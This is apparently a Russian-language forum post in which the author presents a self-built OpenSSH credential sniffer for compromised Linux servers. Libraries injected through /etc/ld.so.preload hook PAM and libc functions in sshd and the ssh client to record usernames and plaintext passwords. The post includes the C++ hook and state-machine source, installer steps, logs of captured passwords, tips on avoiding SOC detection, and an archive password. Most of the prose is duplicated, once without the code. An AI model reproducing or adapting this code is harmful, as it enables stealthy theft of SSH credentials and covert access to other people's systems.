Всем доброго вечера, год назад проводил эксперименты на данную тему. Недавно решил поделиться, в связи с финансовыми проблемами. А вдруг, не просто же лежать моей работе. Могут быть некоторые ошибки, так как работа, если не ошибаюсь, с начала осени того года.
Начнем. Однажды я искал утилиту для прослушки SSH сессий OpenSSH на Linux машине, логины и пароли внутрь и вне. Такое бывает, есть сервер и есть к нему доступ. Но вот на сервере мало интересной информации. Я начал искать готовые публичные решения и ужаснулся. Почти ничего нет. А то что есть сложно дорабатывать, сложно исправлять, со слабой совместимостью и оставляет множество следов. Ничего особенного, паблик. Я решил создать свое.
Существующие решения
Сначала я посмотрел существующие решения:
- патчинг модуля PAM, добавление своего модуля PAM;
- патчинг SSH клиента и сервера, компиляция измененных исходных кодов;
- патчинг памяти SSH клиента и сервера, используя ассемблерные вставки, так называемые хуки;
- просто перехват функций SSHD через ld.so.preload.
Других вариантов не нашел, и что сказать об этих методах.. они имеют следующие недостатки:
- изменение бинарных файлов таких как модуль PAM, SSH, SSHD, очень хороший индикатор для SOC;
- добавление нового модуля в директорию с модулями PAM, которые отвечают за аутентификацию, тоже хороший красный флажок для SOC;
- в случае с патчингом памяти я нашел только фиксированные ассемблерные вставки, которые будут работать на одном участке кода, а на другом отвалятся; если что-то поменяется в целевой программе — придется придумывать новый вариант и без знания языка ассемблера не обойтись;
- а просто перехват функций через ld_preload может отлавливать только login/password входящего соединения из SSHD (с клиентом так не получится, нет символов по которым можно отловить метод аутентификации).
Можно составить упрощенный список недостатков существующих решений:
- слишком много следов в случае изменения "важных" бинарей и директорий;
- отсутствие гибкости;
- слабая совместимость;
- все решения, которые я нашел, работали только со входными соединениями (т. е. через SSHD);
- сложность в поддержке, особенно в случае с языком ассемблера.
P.S.: Если кому нужно, могу позже покопаться и найти конкретные проекты.
Основные идеи
Основными идеями моего проекта являются модульность и машина состояний.
Модульность
Первая выражается в том, что проект по сути своей представляет из себя пару модулей .so которые можно подгружать через /etc/ld.so.preload, а можно и через модуль ядра. В данном проекте использовался первый вариант загрузчика.
Принцип работы этих двух модулей такой:
1. они подгружаются каждый в свой процесс;
2. во время подгрузки они устанавливают хуки на интересующие функции;
3. с помощью машины состояний из этих функций извлекаются логин, пароль, успешная попытка аутентификации или нет;
4. собранная информация записывается в логи.
Структура более менее рабочего решения будет следующей:
- модуль для подгрузки в клиента SSH;
- модуль для подгрузки в сервер SSH;
- модуль для подгрузки первых двух через /etc/ld.so.preload;
- установщик этих трех моделей и файла ld.so.preload.
Первые две — это и есть данная работа. Остальные созданы для демонстрации.
Детали реализации смотри ниже.
Машина состояний
Вторая идея, машина состояний, выражается в том, что данные из интересующего процесса будут извлекаться с помощью цепочки состояние — действие — состояние.. . Это позволяет при отсутствии символов функции аутентификации и ее конкретного адреса извлекать данные из более простых функций, например strlen().
В этом проекте, с помощью утилит strace, objdump и ltrace были установлены сценарии выполнения: какие последовательности действий происходят при каждом сценарии работы пользователя. Мне кажется это проще чем читать исходные коды, однако каждому свое.
В случае сервера OpenSSH самыми важными оказались функции pam_get_item() и pam_authenticate(), которые отвечают за аутентификацию в Linux. PAM - подключаемые модули аутентификации, главный механизм аутентификации в Linux. Обсуждать здесь устройство PAM не буду, оно не такое сложное как кажется, но выходит за рамки этой статьи.
Первая функция позволяет получить логин и пароль на попытке аутентификации. Вторая определяет была это успешная или не успешная попытка.
Случай же клиента сложнее. В нем нет специальных символов для определения механизма аутентификации. Тут пришлось повозиться.
Позапускав много раз ltrace, утилиту для отслежки в рантайм какие функции с какими параметрами были вызваны из динамических библиотек, я определил в качестве самого надежного метода отслеживание вызовов sigaction(), strlen() и _exit(). Первая заглушает обработку сигналов перед прямо перед считыванием пароля, вторая вычисляет длины строк и третья завершает работу клиента. Да, длины строк. При подготовке сессии после успешной попытки аутентификации, при запросе пароля, после получения логина и пароля происходит вычисление длины строк. Кроме этого данная функция может вычисляться для любых строк, не только интересующих нас. Поэтому тут и необходима некоторая машина состояний, чтобы иметь понимание о текущем состоянии и действиях которые приведут к следующему.
Детали реализации смотри ниже.
Детали реализации
Итак у нас есть следующие составляющие проекта (исходные коды приложу):
- ssh_inject.so - .so для подгрузки в процесс ssh;
- sshd_inject.so - .so для подгрузки в процесс sshd;
- loader.so - .so для подгрузки через /etc/ld.so.preload, которая в свою очередь при запуске SSH или SSHD будет внедрять .so-шки, что выше;
- selftar.sh – скрипт для создания самораспаковывающегося архива, который установит все эти .so файлы на систему и заведет правильный /etc/ld.so.preload.
Первые два подгружаются loader-ом в процессы ssh и sshd соответственно. После подгрузки, каждая .so-шка выполняет инициализацию машины состояний и установку хуков. Для установки хуков выбрана библиотека funchook (https://github.com/kubo/funchook), которая с помощью дизассемблеров, в данном случае diStorm3 установит хуки в режиме рантайм. Если вы думаете, что перехват по PLT (IAT в Linux) будет работать, вы ошибаетесь. Дело в том, что некоторые символы интересующих функций отсутствуют в PLT. Использование данной библиотеки избавляет нас от необходимости знать язык Ассемблера и упрощает процесс поддержки и доработки решения.
Если в случае со входным соединением на сервер все довольно просто и нужно отловить только логин, пароль и время. При работе с клиентом нужно знать командную строку, в которой указан пользователь, сервер и порт (разбора варианта указания пользователя позже нет), и пользователя который пользуется клиентом. Эти данные берутся при инициализации .so-шки.
Заметьте, используются функции и объекты стандартной библиотеки C++ (STL). Это потому что мы не можем использовать функции работы со строками из string.h. Они используют функцию strlen(), которую мы перехватываем и используем для нашей машины состояний.
Теперь поговорим о машинах состояний. Начнем с сервера.
./sshd_inject/state.hpp:
./sshd_inject/init.cpp:
Вот и вся машина состояний, для простоты нарисую картинку:
Теперь посмотрите на машину состояний клиента. Тут все сложнее, но мы справимся, я нарисую картинку
./ssh_inject/state.hpp:
./ssh_inject/init.cpp:
А вот и обещанная картинка:
Тесты
Для запуска тестов зайдите в директорию build, создайте установщик с помощью скрипта selftar.sh:
./selftar build.tar.gz
Запустите установщик на Linux машине:
./build.tar.gz.self
Запустите SSHD. Присоединитесь к машине, например так:
ssh <user>@127.0.0.1
Откройте другой терминал выполните
# cat /proc/`pidof sshd`/maps | grep sshd_inj
чтобы проверить подгружен ли наш модуль.
Вывод должен быть примерно таким:
Теперь играйтесь. После моих игрулек у меня следующие логи в файле /tmp/sshd_inj.dbg:
Теперь играемся с клиентом, вывод в файле /tmp/ssh_inj.dbg:
До сих пор работает, уже год прошел!
Во время тестов использовались Fedora и Ubuntu последних версий год назад, и сейчас Ubuntu 22.04.
Если появятся изменения
Вывод в Сях без strlen() бесмысленен и не думаю, что разработчики к этому прибегнут.
Если вдруг решение перестанет работать делаем так: идем в сорцы openssh-portable в /openbsd-compat/readpassphrase.c и оттуда пляшем. Ищем новые сценарии и зацепки.
Запомните, пригодятся три вещи: сорцы OpenSSH, ltrace, strace, objdump. Соответственно для поиска изменений и зацепок, для просмотра что выполняется в рантайме ltrace и strace и objdump для символов, которые пригодятся для хуков.
Заключение
Было разработано альтернативное решение для прослушки соединений OpenSSH. Большая часть недостатков пуличных решений устранена. А описанные методы можно использовать и для других задач и не только для Linux.
Некоторые моменты до сих пор не решены, это:
- отлавливание SIGINT (Ctrl-C), SIGKILL (kill -9 `pidof ssh`) в случае с клиентом;
- данная версия никуда не складывает информацию, есть только дебаг логи, по которым можно убедиться в работе данного приложения;
- никакой обфускации не задействовано;
- не отработана ситуация с заходом по ключу;
- отсутствует рефакторинг;
- не проверялась x86_32 версия.
В будущем данные модули или их модификации можно использовать для легитимных пентестов в качестве части более сложного ПО. Для поддержки программного кода не нужно знать ассемблер. Важные бинари и директории не задеты (PAM, ssh, sshd).
Спасибо за внимание.
Пароль к архиву: ilovebananas
Начнем. Однажды я искал утилиту для прослушки SSH сессий OpenSSH на Linux машине, логины и пароли внутрь и вне. Такое бывает, есть сервер и есть к нему доступ. Но вот на сервере мало интересной информации. Я начал искать готовые публичные решения и ужаснулся. Почти ничего нет. А то что есть сложно дорабатывать, сложно исправлять, со слабой совместимостью и оставляет множество следов. Ничего особенного, паблик. Я решил создать свое.
Существующие решения
Сначала я посмотрел существующие решения:
- патчинг модуля PAM, добавление своего модуля PAM;
- патчинг SSH клиента и сервера, компиляция измененных исходных кодов;
- патчинг памяти SSH клиента и сервера, используя ассемблерные вставки, так называемые хуки;
- просто перехват функций SSHD через ld.so.preload.
Других вариантов не нашел, и что сказать об этих методах.. они имеют следующие недостатки:
- изменение бинарных файлов таких как модуль PAM, SSH, SSHD, очень хороший индикатор для SOC;
- добавление нового модуля в директорию с модулями PAM, которые отвечают за аутентификацию, тоже хороший красный флажок для SOC;
- в случае с патчингом памяти я нашел только фиксированные ассемблерные вставки, которые будут работать на одном участке кода, а на другом отвалятся; если что-то поменяется в целевой программе — придется придумывать новый вариант и без знания языка ассемблера не обойтись;
- а просто перехват функций через ld_preload может отлавливать только login/password входящего соединения из SSHD (с клиентом так не получится, нет символов по которым можно отловить метод аутентификации).
Можно составить упрощенный список недостатков существующих решений:
- слишком много следов в случае изменения "важных" бинарей и директорий;
- отсутствие гибкости;
- слабая совместимость;
- все решения, которые я нашел, работали только со входными соединениями (т. е. через SSHD);
- сложность в поддержке, особенно в случае с языком ассемблера.
P.S.: Если кому нужно, могу позже покопаться и найти конкретные проекты.
Основные идеи
Основными идеями моего проекта являются модульность и машина состояний.
Модульность
Первая выражается в том, что проект по сути своей представляет из себя пару модулей .so которые можно подгружать через /etc/ld.so.preload, а можно и через модуль ядра. В данном проекте использовался первый вариант загрузчика.
Принцип работы этих двух модулей такой:
1. они подгружаются каждый в свой процесс;
2. во время подгрузки они устанавливают хуки на интересующие функции;
3. с помощью машины состояний из этих функций извлекаются логин, пароль, успешная попытка аутентификации или нет;
4. собранная информация записывается в логи.
Структура более менее рабочего решения будет следующей:
- модуль для подгрузки в клиента SSH;
- модуль для подгрузки в сервер SSH;
- модуль для подгрузки первых двух через /etc/ld.so.preload;
- установщик этих трех моделей и файла ld.so.preload.
Первые две — это и есть данная работа. Остальные созданы для демонстрации.
Детали реализации смотри ниже.
Машина состояний
Вторая идея, машина состояний, выражается в том, что данные из интересующего процесса будут извлекаться с помощью цепочки состояние — действие — состояние.. . Это позволяет при отсутствии символов функции аутентификации и ее конкретного адреса извлекать данные из более простых функций, например strlen().
В этом проекте, с помощью утилит strace, objdump и ltrace были установлены сценарии выполнения: какие последовательности действий происходят при каждом сценарии работы пользователя. Мне кажется это проще чем читать исходные коды, однако каждому свое.
В случае сервера OpenSSH самыми важными оказались функции pam_get_item() и pam_authenticate(), которые отвечают за аутентификацию в Linux. PAM - подключаемые модули аутентификации, главный механизм аутентификации в Linux. Обсуждать здесь устройство PAM не буду, оно не такое сложное как кажется, но выходит за рамки этой статьи.
Первая функция позволяет получить логин и пароль на попытке аутентификации. Вторая определяет была это успешная или не успешная попытка.
Случай же клиента сложнее. В нем нет специальных символов для определения механизма аутентификации. Тут пришлось повозиться.
Позапускав много раз ltrace, утилиту для отслежки в рантайм какие функции с какими параметрами были вызваны из динамических библиотек, я определил в качестве самого надежного метода отслеживание вызовов sigaction(), strlen() и _exit(). Первая заглушает обработку сигналов перед прямо перед считыванием пароля, вторая вычисляет длины строк и третья завершает работу клиента. Да, длины строк. При подготовке сессии после успешной попытки аутентификации, при запросе пароля, после получения логина и пароля происходит вычисление длины строк. Кроме этого данная функция может вычисляться для любых строк, не только интересующих нас. Поэтому тут и необходима некоторая машина состояний, чтобы иметь понимание о текущем состоянии и действиях которые приведут к следующему.
Детали реализации смотри ниже.
Детали реализации
Итак у нас есть следующие составляющие проекта (исходные коды приложу):
- ssh_inject.so - .so для подгрузки в процесс ssh;
- sshd_inject.so - .so для подгрузки в процесс sshd;
- loader.so - .so для подгрузки через /etc/ld.so.preload, которая в свою очередь при запуске SSH или SSHD будет внедрять .so-шки, что выше;
- selftar.sh – скрипт для создания самораспаковывающегося архива, который установит все эти .so файлы на систему и заведет правильный /etc/ld.so.preload.
Первые два подгружаются loader-ом в процессы ssh и sshd соответственно. После подгрузки, каждая .so-шка выполняет инициализацию машины состояний и установку хуков. Для установки хуков выбрана библиотека funchook (https://github.com/kubo/funchook), которая с помощью дизассемблеров, в данном случае diStorm3 установит хуки в режиме рантайм. Если вы думаете, что перехват по PLT (IAT в Linux) будет работать, вы ошибаетесь. Дело в том, что некоторые символы интересующих функций отсутствуют в PLT. Использование данной библиотеки избавляет нас от необходимости знать язык Ассемблера и упрощает процесс поддержки и доработки решения.
C++:
static __attribute__((constructor)) void init(int argc, char **argv,
char **env) {
spy = new ServerAuthSpy();
TRACE(("[ + ] Loading library into [%d]\n", (int) getpid()));
if (install_hooks() != 0) {
TRACE(("[ - ] Failed to initialize\n"));
return;
}
TRACE(("[ + ] Initialized\n"));
spy->Initiated();
}
Если в случае со входным соединением на сервер все довольно просто и нужно отловить только логин, пароль и время. При работе с клиентом нужно знать командную строку, в которой указан пользователь, сервер и порт (разбора варианта указания пользователя позже нет), и пользователя который пользуется клиентом. Эти данные берутся при инициализации .so-шки.
C++:
std::string get_cmdline(int argc, char **argv) {
std::stringstream ss;
ss << argv[0];
for (int i = 1; i < argc; ++i) {
ss << " " << argv[i];
}
return ss.str();
}
std::string get_user() {
const size_t bufsize = 256 + 1;
char buf[bufsize];
if (getlogin_r(buf, bufsize)) {
return "?";
}
return std::string(buf);
}
static __attribute__((constructor)) void init(int argc, char **argv,
char **env) {
ProcessInfo pi;
pi.cmdline = get_cmdline(argc, argv);
pi.user = get_user();
spy = new ClientAuthSpy(pi);
TRACE(("[ + ] Loading library into [%d]\n", (int)getpid()));
if (install_hooks() != 0) {
TRACE(("[ - ] Failed to initialize\n"));
return;
}
TRACE(("[ + ] Initialized\n"));
spy->Initiated();
}
Заметьте, используются функции и объекты стандартной библиотеки C++ (STL). Это потому что мы не можем использовать функции работы со строками из string.h. Они используют функцию strlen(), которую мы перехватываем и используем для нашей машины состояний.
Теперь поговорим о машинах состояний. Начнем с сервера.
./sshd_inject/state.hpp:
C++:
enum State {
unknown, initialized, password_set, failed, succeeded,
};
struct Info {
std::string username;
std::string password;
bool succeeded;
};
class ServerAuthSpy {
private:
Info info;
State state;
void Send() {
auto t = std::chrono::system_clock::now();
std::time_t t_time = std::chrono::system_clock::to_time_t(t);
std::string date = std::ctime(&t_time);
TRACE(("[ + ] Sending\nDate: %sUsername: %s\nPassword: %s\nSucceded: %d\n", date, info.username, info.password, (int)info.succeeded));
}
public:
ServerAuthSpy(): state(unknown) {}
void Initiated() {
state = initialized;
}
void AuthenticationAttempt(bool authenticated) {
if (state != password_set)
return;
state = authenticated ? succeeded:failed;
info.succeeded = authenticated;
Send();
}
void GotPasswordItem() {
if (state == initialized || state == failed) {
state = password_set;
}
}
void SetUserPass(std::string user, std::string pass) {
info.username = user;
info.password = pass;
}
};
./sshd_inject/init.cpp:
C++:
static int my_pam_get_item(const pam_handle_t *pamh, int item_type,
const void **item) {
int retval = pam_get_item_func(pamh, item_type, item);
if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
const char *username;
pam_get_user((pam_handle_t*) pamh, &username, NULL);
TRACE(("... pam_get_item(PAM_AUTHOK): %s:%s\n", username, (char*) *item));
spy->GotPasswordItem();
spy->SetUserPass(username, (char*) *item);
}
return retval;
}
int my_pam_authenticate(pam_handle_t *pamh, int flags) {
int retval = pam_authenticate_func(pamh, flags);
TRACE(("... pam_authenticate(..) and returned %d\n", retval));
spy->AuthenticationAttempt(retval == 0);
return retval;
}
Вот и вся машина состояний, для простоты нарисую картинку:
Теперь посмотрите на машину состояний клиента. Тут все сложнее, но мы справимся, я нарисую картинку
./ssh_inject/state.hpp:
C++:
enum State {
unknown,
initialized,
password_prompt,
sigaction_sgttou,
password_read,
succeeded
};
struct ProcessInfo {
std::string user;
std::string cmdline;
};
struct AuthInfo {
std::string password;
bool succeeded;
};
class ClientAuthSpy {
private:
AuthInfo ainfo;
ProcessInfo pinfo;
State state;
void Send() {
auto t = std::chrono::system_clock::now();
std::time_t t_time = std::chrono::system_clock::to_time_t(t);
std::string date = std::ctime(&t_time);
TRACE(("[ + ] Sending\nDate: %sLoged in as: %s\nCmdline: %s\nPassword: %s\nSucceded: %d\n", date, pinfo.user, pinfo.cmdline, ainfo.password, (int)ainfo.succeeded));
}
public:
ClientAuthSpy(ProcessInfo& pi) : pinfo(pi), state(unknown) {
}
void Initiated() {
state = initialized;
}
void StrlenCalled(const char *s) {
const char *passprompt_ending = "password: ";
switch (state) {
case initialized: {
if (str_endswith(s, passprompt_ending)) {
state = password_prompt;
TRACE(("... Password prompt has been detected\n"));
}
break;
}
case sigaction_sgttou: {
state = password_read;
if (ainfo.password.length() == 0) {
ainfo.password = s;
TRACE(("... Password \"%s\" set\n", s));
}
break;
}
case password_read: {
if (!strcmp(s, "client-session")) {
state = succeeded;
ainfo.succeeded = true;
Send();
TRACE(
("... Correct password has been sent, the job has been done\n"));
} else if (str_endswith(s, passprompt_ending)) {
state = password_prompt;
ainfo.succeeded = false;
Send();
// reset password, TODO: refactoring
ainfo.password = "";
TRACE(
("... Wrong password has been sent, the next attempt in progress\n"));
}
break;
}
default:
break;
}
}
void SigactionSIGTOUCalled() {
if (state == password_prompt) {
state = sigaction_sgttou;
TRACE(("... sigaction() call has been detected\n"));
}
}
void E_xitCalled() {
if (state != succeeded) {
Send();
TRACE(("... Wrong password has been sent, that was the last attempt\n"));
}
}
};
./ssh_inject/init.cpp:
C++:
static size_t my_strlen(const char *s) {
size_t retval = strlen_func(s);
spy->StrlenCalled(s);
return retval;
}
static int my_sigaction(int signum, const struct sigaction *act,
struct sigaction *oldact) {
size_t retval = sigaction_func(signum, act, oldact);
if (signum == SIGTTOU && oldact == NULL) {
spy->SigactionSIGTOUCalled();
}
return retval;
}
static void my__exit(int status) {
spy->E_xitCalled();
return _exit_func(status);
}
А вот и обещанная картинка:
Тесты
Для запуска тестов зайдите в директорию build, создайте установщик с помощью скрипта selftar.sh:
./selftar build.tar.gz
Запустите установщик на Linux машине:
./build.tar.gz.self
Запустите SSHD. Присоединитесь к машине, например так:
ssh <user>@127.0.0.1
Откройте другой терминал выполните
# cat /proc/`pidof sshd`/maps | grep sshd_inj
чтобы проверить подгружен ли наш модуль.
Вывод должен быть примерно таким:
Код:
7f28e1539000-7f28e153c000 r--p 00000000 08:03 523810 /usr/lib64/libsshd_inject.so
7f28e153c000-7f28e1547000 r-xp 00003000 08:03 523810 /usr/lib64/libsshd_inject.so
7f28e1547000-7f28e154d000 r--p 0000e000 08:03 523810 /usr/lib64/libsshd_inject.so
7f28e154d000-7f28e154e000 r--p 00013000 08:03 523810 /usr/lib64/libsshd_inject.so
7f28e154e000-7f28e1555000 rw-p 00014000 08:03 523810 /usr/lib64/libsshd_inject.so
Теперь играйтесь. После моих игрулек у меня следующие логи в файле /tmp/sshd_inj.dbg:
Код:
[ + ] Loading library into [6761]
[ + ] Initialized
[ + ] Unloading the library
[ + ] Loading library into [6762]
[ + ] Initialized
[ + ] Loading library into [7441]
[ + ] Initialized
[ + ] Loading library into [10350]
[ + ] Initialized
... pam_get_item(PAM_AUTHOK): fs:31131
... pam_get_item(PAM_AUTHOK): fs:31131
... pam_authenticate(..) and returned 7
[ + ] Sending
Date: Fri Jul 1 21:14:29 2022
Username: fs
Password: 31131
Succeded: 0
... pam_get_item(PAM_AUTHOK): fs:434
... pam_get_item(PAM_AUTHOK): fs:434
... pam_authenticate(..) and returned 7
[ + ] Sending
Date: Fri Jul 1 21:14:33 2022
Username: fs
Password: 434
Succeded: 0
... pam_get_item(PAM_AUTHOK): fs:53535336346
... pam_get_item(PAM_AUTHOK): fs:53535336346
... pam_authenticate(..) and returned 7
[ + ] Sending
Date: Fri Jul 1 21:14:39 2022
Username: fs
Password: 53535336346
Succeded: 0
[ + ] Loading library into [10354]
[ + ] Initialized
... pam_get_item(PAM_AUTHOK): fs:XXXXX
... pam_authenticate(..) and returned 0
[ + ] Sending
Date: Fri Jul 1 21:14:50 2022
Username: fs
Password: XXXXX
Succeded: 1
[ + ] Loading library into [10445]
[ + ] Initialized
... pam_get_item(PAM_AUTHOK): fs:udhahdihadiad
... pam_get_item(PAM_AUTHOK): fs:udhahdihadiad
... pam_authenticate(..) and returned 7
[ + ] Sending
Date: Fri Jul 1 21:14:59 2022
Username: fs
Password: udhahdihadiad
Succeded: 0
... pam_get_item(PAM_AUTHOK): fs:XXXXX
... pam_authenticate(..) and returned 0
[ + ] Sending
Date: Fri Jul 1 21:15:04 2022
Username: fs
Password: XXXXX
Succeded: 1
Теперь играемся с клиентом, вывод в файле /tmp/ssh_inj.dbg:
Код:
[ + ] Loading library into [14092]
[ + ] Initialized
... Password prompt has been detected
... sigaction() call has been detected
... Password "akldmaklmdkad" set
[ + ] Sending
Date: Fri Jul 1 22:58:04 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: akldmaklmdkad
Succeded: 0
... Wrong password has been sent, the next attempt in progress
... sigaction() call has been detected
... Password "dadwugdua\" set
[ + ] Sending
Date: Fri Jul 1 22:58:09 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: dadwugdua\
Succeded: 0
... Wrong password has been sent, the next attempt in progress
... sigaction() call has been detected
... Password "XXXXX" set
[ + ] Sending
Date: Fri Jul 1 22:58:15 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: XXXXX
Succeded:
... Correct password has been sent, the job has been done
[ + ] Unloading the library
[ + ] Loading library into [14164]
[ + ] Initialized
... Password prompt has been detected
... sigaction() call has been detected
... Password "dsakdkadksa" set
[ + ] Sending
Date: Fri Jul 1 22:58:52 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: dsakdkadksa
Succeded: 0
... Wrong password has been sent, the next attempt in progress
... sigaction() call has been detected
... Password "ferijfieof" set
[ + ] Sending
Date: Fri Jul 1 22:58:56 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: ferijfieof
Succeded: 0
... Wrong password has been sent, the next attempt in progress
... sigaction() call has been detected
... Password "idejoiwjdioew" set
[ + ] Sending
Date: Fri Jul 1 22:59:00 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: idejoiwjdioew
Succeded: 0
... Wrong password has been sent, that was the last attempt
До сих пор работает, уже год прошел!
Во время тестов использовались Fedora и Ubuntu последних версий год назад, и сейчас Ubuntu 22.04.
Если появятся изменения
Вывод в Сях без strlen() бесмысленен и не думаю, что разработчики к этому прибегнут.
Если вдруг решение перестанет работать делаем так: идем в сорцы openssh-portable в /openbsd-compat/readpassphrase.c и оттуда пляшем. Ищем новые сценарии и зацепки.
Запомните, пригодятся три вещи: сорцы OpenSSH, ltrace, strace, objdump. Соответственно для поиска изменений и зацепок, для просмотра что выполняется в рантайме ltrace и strace и objdump для символов, которые пригодятся для хуков.
Заключение
Было разработано альтернативное решение для прослушки соединений OpenSSH. Большая часть недостатков пуличных решений устранена. А описанные методы можно использовать и для других задач и не только для Linux.
Некоторые моменты до сих пор не решены, это:
- отлавливание SIGINT (Ctrl-C), SIGKILL (kill -9 `pidof ssh`) в случае с клиентом;
- данная версия никуда не складывает информацию, есть только дебаг логи, по которым можно убедиться в работе данного приложения;
- никакой обфускации не задействовано;
- не отработана ситуация с заходом по ключу;
- отсутствует рефакторинг;
- не проверялась x86_32 версия.
В будущем данные модули или их модификации можно использовать для легитимных пентестов в качестве части более сложного ПО. Для поддержки программного кода не нужно знать ассемблер. Важные бинари и директории не задеты (PAM, ssh, sshd).
Спасибо за внимание.
Пароль к архиву: ilovebananas
Вложения
Последнее редактирование: